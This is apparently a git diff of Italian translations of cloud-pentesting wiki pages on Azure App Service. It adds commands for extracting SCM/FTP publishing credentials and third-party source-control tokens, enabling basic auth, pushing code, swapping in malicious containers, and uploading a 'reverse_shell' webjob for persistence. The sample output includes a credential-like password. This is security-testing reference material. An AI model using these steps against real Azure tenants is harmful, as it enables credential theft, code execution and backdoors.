diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 57ba34a56..bb4415f40 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -5,28 +5,26 @@ ## Installa PowerShell in Linux > [!TIP] -> In Linux è necessario installare PowerShell Core: -> -> ```bash -> sudo apt-get update -> sudo apt-get install -y wget apt-transport-https software-properties-common -> -> # Ubuntu 20.04 -> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -> -> # Aggiorna i repository -> sudo apt-get update -> sudo add-apt-repository universe -> -> # Installa e avvia powershell -> sudo apt-get install -y powershell -> pwsh -> -> # Az cli -> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash -> ``` +> In Linux dovrai installare PowerShell Core: +```bash +sudo apt-get update +sudo apt-get install -y wget apt-transport-https software-properties-common -## Installa PowerShell in MacOS +# Ubuntu 20.04 +wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb + +# Update repos +sudo apt-get update +sudo add-apt-repository universe + +# Install & start powershell +sudo apt-get install -y powershell +pwsh + +# Az cli +curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash +``` +## Installa PowerShell su MacOS Istruzioni dalla [**documentazione**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): @@ -93,7 +91,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" ### Az PowerShell -Azure PowerShell è un modulo con cmdlet per gestire le risorse di Azure direttamente dalla riga di comando di PowerShell. +Azure PowerShell è un modulo con cmdlet per gestire le risorse Azure direttamente dalla riga di comando di PowerShell. Segui questo link per le [**istruzioni di installazione**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). @@ -123,9 +121,9 @@ Get-MgUser -Debug ``` ### ~~**AzureAD Powershell**~~ -Il modulo Azure Active Directory (AD), ora **deprecato**, fa parte di Azure PowerShell per la gestione delle risorse di Azure AD. Fornisce cmdlet per attività come la gestione di utenti, gruppi e registrazioni di applicazioni in Entra ID. +Il modulo Azure Active Directory (AD), ora **deprecato**, fa parte di Azure PowerShell per la gestione delle risorse Azure AD. Fornisce cmdlet per attività come la gestione di utenti, gruppi e registrazioni di applicazioni in Entra ID. > [!TIP] > Questo è sostituito da Microsoft Graph PowerShell -Segui questo link per le [**istruzioni di installazione**](https://www.powershellgallery.com/packages/AzureAD). +Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index dfac5eaaa..4377c1d1b 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -10,16 +10,16 @@ Per ulteriori informazioni sui servizi App di Azure, controlla: ../az-services/az-app-service.md {{#endref}} -### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, +### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read -Queste autorizzazioni consentono di chiamare i seguenti comandi per ottenere una **SSH shell** all'interno di un'app web +Queste autorizzazioni consentono di ottenere una **SSH shell** all'interno di un'app web. Consentono anche di **debuggare** l'applicazione. -- Opzione diretta: +- **SSH in un singolo comando**: ```bash # Direct option az webapp ssh --name --resource-group ``` -- Crea un tunnel e poi connettiti a SSH: +- **Crea un tunnel e poi connettiti a SSH**: ```bash az webapp create-remote-connection --name --resource-group @@ -32,4 +32,249 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` +- **Debugga l'applicazione**: +1. Installa l'estensione Azure in VScode. +2. Accedi all'estensione con l'account Azure. +3. Elenca tutti i servizi App all'interno dell'abbonamento. +4. Seleziona il servizio App che desideri debugare, fai clic destro e seleziona "Inizia Debugging". +5. Se l'app non ha il debug abilitato, l'estensione cercherà di abilitarlo, ma il tuo account ha bisogno del permesso `Microsoft.Web/sites/config/write` per farlo. + +### Ottenere le credenziali SCM e abilitare l'autenticazione di base + +Per ottenere le credenziali SCM, puoi utilizzare i seguenti **comandi e permessi**: + +- Il permesso **`Microsoft.Web/sites/publishxml/action`** consente di chiamare: +```bash +az webapp deployment list-publishing-profiles --name --resource-group +# Example output +[ +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", +"publishMethod": "MSDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"ftpPassiveMode": "True", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", +"publishMethod": "FTP", +"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", +"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", +"publishMethod": "ZipDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +} +] +``` +Nota come il **nome utente è sempre lo stesso** (tranne in FTP che aggiunge il nome dell'app all'inizio) ma la **password è la stessa** per tutti. + +Inoltre, l'**URL SCM è `.scm.azurewebsites.net`**. + +- Il permesso **`Microsoft.Web/sites/config/list/action`** consente di chiamare: +```bash +az webapp deployment list-publishing-credentials --name --resource-group +# Example output +{ +"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"kind": null, +"location": "Canada Central", +"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"publishingPasswordHash": null, +"publishingPasswordHashSalt": null, +"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"resourceGroup": "carlos_rg_3170", +"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", +"type": "Microsoft.Web/sites/publishingcredentials" +} +``` +Nota come le **credenziali siano le stesse** di quelle del comando precedente. + +- Un'altra opzione sarebbe **impostare le proprie credenziali** e usarle: +```bash +az webapp deployment user set \ +--user-name hacktricks \ +--password 'W34kP@ssw0rd123!' +``` +Poi, puoi usare queste credenziali per **accedere alle piattaforme SCM e FTP**. Questo è anche un ottimo modo per mantenere la persistenza. + +Ricorda che per accedere alla piattaforma SCM dal **web devi accedere a `/BasicAuth`**. + +> [!WARNING] +> Nota che ogni utente può configurare le proprie credenziali chiamando il comando precedente, ma se l'utente non ha abbastanza permessi per accedere a SCM o FTP, le credenziali non funzioneranno. + +- Se vedi che queste credenziali sono **REDACTED**, è perché **devi abilitare l'opzione di autenticazione di base SCM** e per questo hai bisogno del secondo permesso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +```bash +# Enable basic authentication for SCM +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' + +# Enable basic authentication for FTP +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +} +``` +### Pubblica codice utilizzando le credenziali SCM + +Avere semplicemente credenziali SCM valide consente di **pubblicare codice** nel servizio App. Questo può essere fatto utilizzando il seguente comando. + +Per questo esempio in python, puoi scaricare il repo da https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apportare le **modifiche** che desideri e poi **zipparlo eseguendo: `zip -r app.zip .`**. + +Poi puoi **pubblicare il codice** con il seguente comando: +```bash +curl -X POST "/api/publish?type=zip" --data-binary "@./app.zip" -u ':' -H "Content-Type: application/octet-stream" +``` +### Microsoft.Web/sites/publish/Action | Credenziali SCM + +Il permesso Azure menzionato consente di eseguire diverse azioni interessanti che possono essere eseguite anche con le credenziali SCM: + +- Leggere i log di **Webjobs**: +```bash +# Using Azure credentials +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" + +# Using SCM username and password: +curl "/vfs/data/jobs/continuous/job_name/job_log.txt" \ +--user ':>' -v +``` +- Leggi il codice sorgente di **Webjobs**: +```bash +# Using SCM username and password: +# Find all the webjobs inside: +curl "/wwwroot/App_Data/jobs/" \ +--user ':' + +# e.g. +curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \ +--user ':' +``` +- Crea **Webjob continuo**: +```bash +# Using Azure permissions +az rest \ +--method put \ +--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ +--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ +--body "@/Users/username/Downloads/rev.js" \ +--resource "https://management.azure.com/" + +# Using SCM credentials +curl -X PUT \ +"/api/Continuouswebjobs/reverse_shell2" \ +-H 'Content-Disposition: attachment; filename=rev.js' \ +--data-binary "@/Users/carlospolop/Downloads/rev.js" \ +--user ':' +``` +### Microsoft.Web/sites/config/list/action + +Questo permesso consente di elencare le **connection strings** e le **appsettings** del servizio App che potrebbero contenere informazioni sensibili come le credenziali del database. +```bash +az webapp config connection-string list --name --resource-group +az webapp config appsettings list --name --resource-group +``` +### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + +Queste autorizzazioni consentono di **assegnare un'identità gestita** al servizio App, quindi se un servizio App è stato precedentemente compromesso, questo consentirà all'attaccante di assegnare nuove identità gestite al servizio App e **escalare i privilegi** su di esse. +```bash +az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ +``` +### Leggi le credenziali di terze parti configurate + +Eseguendo il seguente comando è possibile **leggere le credenziali di terze parti** configurate nell'account attuale. Nota che, ad esempio, se alcune credenziali di Github sono configurate in un utente diverso, non sarai in grado di accedere al token da un altro. +```bash +az rest --method GET \ +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +``` +Questo comando restituisce token per Github, Bitbucket, Dropbox e OneDrive. + +Ecco alcuni esempi di comandi per controllare i token: +```bash +# GitHub – List Repositories +curl -H "Authorization: token " \ +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos + +# Bitbucket – List Repositories +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories + +# Dropbox – List Files in Root Folder +curl -X POST https://api.dropboxapi.com/2/files/list_folder \ +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' + +# OneDrive – List Files in Root Folder +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children +``` +### Aggiornare il codice dell'app dalla sorgente + +- Se la sorgente configurata è un fornitore di terze parti come Github, BitBucket o un Repository Azure, puoi **aggiornare il codice** del servizio App compromettendo il codice sorgente nel repository. +- Se l'app è configurata utilizzando un **repository git remoto** (con nome utente e password), è possibile ottenere l'**URL e le credenziali di autenticazione di base** per clonare e inviare modifiche con: +- Utilizzando il permesso **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` +- Utilizzando il permesso **`Microsoft.Web/sites/config/list/action`**: +- `az webapp deployment list-publishing-credentials --name --resource-group ` +- `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Se l'app è configurata per utilizzare un **repository git locale**, è possibile **clonare il repository** e **inviare modifiche** ad esso: +- Utilizzando il permesso **`Microsoft.Web/sites/sourcecontrols/read`**: Puoi ottenere l'URL del repository git con `az webapp deployment source show --name --resource-group `, ma sarà lo stesso dell'URL SCM dell'app con il percorso `/.git` (ad esempio `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). +- Per ottenere le credenziali SCM hai bisogno del permesso: +- **`Microsoft.Web/sites/publishxml/action`**: Quindi esegui `az webapp deployment list-publishing-profiles --resource-group -n `. +- **`Microsoft.Web/sites/config/list/action`**: Quindi esegui `az webapp deployment list-publishing-credentials --name --resource-group ` + +> [!WARNING] +> Nota che avere il permesso `Microsoft.Web/sites/config/list/action` e le credenziali SCM rende sempre possibile distribuire in un webapp (anche se era configurato per utilizzare un fornitore di terze parti) come menzionato in una sezione precedente. + +> [!WARNING] +> Nota che avere i permessi sottostanti rende anche **possibile eseguire un container arbitrario** anche se il webapp era configurato diversamente. + +### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read` + +Questo è il set di permessi che consente di **modificare il container utilizzato** da un webapp. Un attaccante potrebbe abusarne per far eseguire a un webapp un container malevolo. +```bash +az webapp config container set \ +--name \ +--resource-group \ +--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index 35267fe26..7c2fbac0a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -2,47 +2,99 @@ {{#include ../../../banners/hacktricks-training.md}} -## Informazioni di base su App Service +## App Service Basic Information Azure App Services consente agli sviluppatori di **creare, distribuire e scalare applicazioni web, backend di app mobili e API senza soluzione di continuità**. Supporta più linguaggi di programmazione e si integra con vari strumenti e servizi Azure per funzionalità e gestione avanzate. -Ogni app viene eseguita all'interno di un sandbox, ma l'isolamento dipende dai piani di App Service +Ogni app viene eseguita all'interno di un sandbox, ma l'isolamento dipende dai piani App Service - Le app nei livelli Free e Shared vengono eseguite su VM condivise - Le app nei livelli Standard e Premium vengono eseguite su VM dedicate > [!WARNING] -> Nota che **nessuno** di questi isolamenti **previene** altre comuni **vulnerabilità web** (come il caricamento di file o le iniezioni). E se viene utilizzata un'**identità di gestione**, potrebbe essere in grado di **escalare i privilegi su di esse**. +> Nota che **nessuno** di questi isolamenti **previene** altre comuni **vulnerabilità web** (come il caricamento di file o le iniezioni). E se viene utilizzata un'**identità di gestione**, potrebbe essere in grado di **escalare i privilegi a esse**. + +Le app hanno alcune configurazioni interessanti: + +- **Always On**: Garantisce che l'app sia sempre in esecuzione. Se non abilitato, l'app smetterà di funzionare dopo 20 minuti di inattività e riprenderà quando viene ricevuta una richiesta. +- Questo è essenziale se hai un webjob che deve essere eseguito continuamente, poiché il webjob si fermerà se l'app si ferma. +- **SSH**: Se abilitato, un utente con permessi sufficienti può connettersi all'app utilizzando SSH. +- **Debugging**: Se abilitato, un utente con permessi sufficienti può eseguire il debug dell'app. Tuttavia, questo viene disabilitato automaticamente ogni 48 ore. +- **Web App + Database**: La console web consente di creare un'app con un database. In questo caso è possibile selezionare il database da utilizzare (SQLAzure, PostgreSQL, MySQL, MongoDB) e consente anche di creare una Cache di Azure per Redis. +- L'URL contenente le credenziali per il database e Redis sarà memorizzato nelle **appsettings**. +- **Container**: È possibile distribuire un container nel App Service indicando l'URL del container e le credenziali per accedervi. + +## Basic Authentication + +Quando si crea un'app web (e una funzione Azure di solito) è possibile indicare se si desidera abilitare l'autenticazione di base. Questo abilita sostanzialmente **SCM e FTP** per l'applicazione, quindi sarà possibile distribuire l'applicazione utilizzando queste tecnologie.\ +Inoltre, per connettersi a esse, Azure fornisce un'**API che consente di ottenere il nome utente, la password e l'URL** per connettersi ai server SCM e FTP. + +È possibile connettersi allo SCM utilizzando un browser web in `https:///BasicAuth` e controllare tutti i file e le distribuzioni lì. + +### Kudu + +Kudu è un **motore di distribuzione e piattaforma di gestione per Azure App Service e Function Apps**, che fornisce distribuzioni basate su Git, debug remoto e capacità di gestione dei file per le applicazioni web. È accessibile tramite l'URL SCM dell'app web. + +Nota che le versioni Kudu utilizzate da App Services e da Function Apps sono diverse, con la versione delle Function Apps molto più limitata. + +Alcuni endpoint interessanti che puoi trovare in Kudu sono: +- `/DebugConsole`: Una console che consente di eseguire comandi nell'ambiente in cui Kudu è in esecuzione. +- Nota che questo ambiente **non ha accesso** al servizio di metadata per ottenere token. +- `/webssh/host`: Un client SSH basato su web che consente di connettersi all'interno del container in cui l'app è in esecuzione. +- Questo ambiente **ha accesso al servizio di metadata** per ottenere token dalle identità gestite assegnate. +- `/Env`: Ottieni informazioni sul sistema, impostazioni dell'app, variabili d'ambiente, stringhe di connessione e intestazioni HTTP. +- `/wwwroot/`: La directory radice dell'app web. Puoi scaricare tutti i file da qui. + +## Sources + +App Services consentono di caricare il codice come file zip per impostazione predefinita, ma consentono anche di connettersi a un servizio di terze parti e ottenere il codice da lì. + +- Le fonti di terze parti attualmente supportate sono **Github** e **Bitbucket**. +- Puoi ottenere i token di autenticazione eseguendo `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` +- Azure per impostazione predefinita configurerà un **Github Action** per distribuire il codice nel App Service ogni volta che il codice viene aggiornato. +- È anche possibile indicare un **repository git remoto** (con nome utente e password) per ottenere il codice da lì. +- Puoi ottenere le credenziali per il repository remoto eseguendo `az webapp deployment source show --name --resource-group ` o `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- È anche possibile utilizzare un **Azure Repository**. +- È anche possibile configurare un **repository git locale**. +- Puoi ottenere l'URL del repository git con `az webapp deployment source show --name --resource-group ` e sarà l'URL SCM dell'app. +- Per clonarlo avrai bisogno delle credenziali SCM che puoi ottenere con `az webapp deployment list-publishing-profiles --resource-group -n ` + + +## Webjobs + +Azure WebJobs sono **compiti in background che vengono eseguiti nell'ambiente Azure App Service**. Consentono agli sviluppatori di eseguire script o programmi insieme alle loro applicazioni web, facilitando la gestione di operazioni asincrone o intensive in termini di tempo come l'elaborazione di file, la gestione dei dati o compiti programmati. +Ci sono 2 tipi di web jobs: +- **Continuous**: Esegue indefinitamente in un ciclo ed è attivato non appena viene creato. È ideale per compiti che richiedono un'elaborazione costante. Tuttavia, se l'app smette di funzionare perché Always On è disabilitato e non ha ricevuto una richiesta negli ultimi 20 minuti, il web job si fermerà anche. +- **Triggered**: Esegue su richiesta o in base a un programma. È più adatto per compiti periodici, come aggiornamenti batch dei dati o routine di manutenzione. + +I webjobs sono molto interessanti da una prospettiva di attacco poiché potrebbero essere utilizzati per **eseguire codice** nell'ambiente e **escalare privilegi** alle identità gestite collegate. + +Inoltre, è sempre interessante controllare i **log** generati dai Webjobs poiché potrebbero contenere **informazioni sensibili**. + +### Slots + +Gli Azure App Service Slots vengono utilizzati per **distribuire diverse versioni dell'applicazione** nello stesso App Service. Questo consente agli sviluppatori di testare nuove funzionalità o modifiche in un ambiente separato prima di distribuirle nell'ambiente di produzione. + +Inoltre, è possibile instradare una **percentuale del traffico** a uno slot specifico, utile per **A/B testing** e per scopi di backdoor. ### Azure Function Apps Fondamentalmente, **le Azure Function apps sono un sottoinsieme di Azure App Service** nel web e se vai alla console web e elenchi tutti i servizi app o esegui `az webapp list` in az cli, sarai in grado di **vedere anche le Function apps elencate qui**. -In realtà, alcune delle **funzionalità di sicurezza** utilizzate dai servizi App (`webapp` nell'az cli) sono **anche utilizzate dalle Function apps**. +In realtà, alcune delle **funzionalità di sicurezza** relative ai servizi App (`webapp` nell'az cli) sono **anche utilizzate dalle Function apps**. -## Autenticazione di base -Quando si crea un'app web (e una funzione Azure di solito), è possibile indicare se si desidera abilitare l'autenticazione di base. Questo abilita sostanzialmente **SCM e FTP** per l'applicazione, quindi sarà possibile distribuire l'applicazione utilizzando queste tecnologie.\ -Inoltre, per connettersi a esse, Azure fornisce un'**API che consente di ottenere il nome utente, la password e l'URL** per connettersi ai server SCM e FTP. - -- Autenticazione: az webapp auth show --name lol --resource-group lol_group - -SSH - -Always On - -Debugging - -### Enumerazione +### Enumeration {{#tabs }} {{#tab name="az" }} ```bash # List webapps az webapp list - ## Less information -az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" +az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table +## Get SCM URL of each webapp +az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g' # Get info about 1 app az webapp show --name --resource-group @@ -51,18 +103,24 @@ az webapp show --name --resource-group az webapp list-instances --name --resource-group ## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web -# Get configured Auth information -az webapp auth show --name --resource-group - # Get access restrictions of an app az webapp config access-restriction show --name --resource-group # Remove access restrictions az webapp config access-restriction remove --resource-group -n --rule-name +# Get connection strings of a webapp +az webapp config connection-string list --name --resource-group + # Get appsettings of an app az webapp config appsettings list --name --resource-group +# Get SCM and FTP credentials +az webapp deployment list-publishing-profiles --name --resource-group + +# Get configured Auth information +az webapp auth show --name --resource-group + # Get backups of a webapp az webapp config backup list --webapp-name --resource-group @@ -75,61 +133,39 @@ az webapp config snapshot list --resource-group -n # Restore snapshot az webapp config snapshot restore -g -n --time 2018-12-11T23:34:16.8388367 -# Get connection strings of a webapp -az webapp config connection-string list --name --resource-group +# Get slots +az webapp deployment slot list --name --resource-group --output table +az webapp show --slot --name --resource-group + +# Get traffic-routing +az webapp traffic-routing show --name --resource-group # Get used container by the app az webapp config container show --name --resource-group # Get storage account configurations of a webapp -az webapp config storage-account list --name --resource-gl_group +az webapp config storage-account list --name --resource-group +# Get configured container (if any) in the webapp, it could contain credentials +az webapp config container show --name --resource-group +# Get Webjobs +az webapp webjob continuous list --resource-group --name +az webapp webjob triggered list --resource-group --name +# Read webjobs logs with Azure permissions +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" -# List all the functions -az functionapp list +# Read webjobs logs with SCM credentials +curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \ +--user ':' -v -# Get info of 1 funciton (although in the list you already get this info) -az functionapp show --name --resource-group -## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..." -## This is using a container +# Get connections of a webapp +az webapp conection list --name --resource-group -# Get details about the source of the function code -az functionapp deployment source show \ ---name \ ---resource-group -## If error like "This is currently not supported." -## Then, this is probalby using a container - -# Get more info if a container is being used -az functionapp config container show \ ---name \ ---resource-group - -# Get settings (and privesc to the sorage account) -az functionapp config appsettings list --name --resource-group - -# Check if a domain was assigned to a function app -az functionapp config hostname list --webapp-name --resource-group - -# Get SSL certificates -az functionapp config ssl list --resource-group - -# Get network restrictions -az functionapp config access-restriction show --name --resource-group - -# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) -az rest --method GET \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" - -# Get source code with Master Key of the function -curl "?code=" -## Python example -curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v - -# Get source code -az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" +# Get hybrid-connections of a webapp +az webapp hybrid-connections list --name --resource-group ``` {{#endtab }} @@ -196,6 +232,40 @@ git clone 'https://:@name.scm.azurewebsites.net/repo-name.gi ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} +## Esempi per generare Web Apps + +### Python da locale + +Questo tutorial si basa su quello di [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli). +```bash +# Clone repository +git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart +cd msdocs-python-flask-webapp-quickstart + +# Create webapp from this code +az webapp up --runtime PYTHON:3.9 --sku B1 --logs +``` +Accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che contiene il codice dell'app web. + +> [!TIP] +> Collegarsi semplicemente tramite FTP e modificare il file `output.tar.gz` non è sufficiente per cambiare il codice eseguito dall'app web. + +**Un attaccante potrebbe scaricare questo file, modificarlo e caricarlo di nuovo per eseguire codice arbitrario nell'app web.** + +### Python da Github + +Questo tutorial si basa sul precedente ma utilizza un repository Github. + +1. Forka il repo msdocs-python-flask-webapp-quickstart nel tuo account Github. +2. Crea una nuova Web App Python in Azure. +3. Nel `Deployment Center` cambia la sorgente, accedi con Github, seleziona il repo forkato e clicca su `Salva`. + +Come nel caso precedente, accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che contiene il codice dell'app web. + +> [!TIP] +> Collegarsi semplicemente tramite FTP e modificare il file `output.tar.gz` e riattivare un deployment non è sufficiente per cambiare il codice eseguito dall'app web. + + ## Riferimenti - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)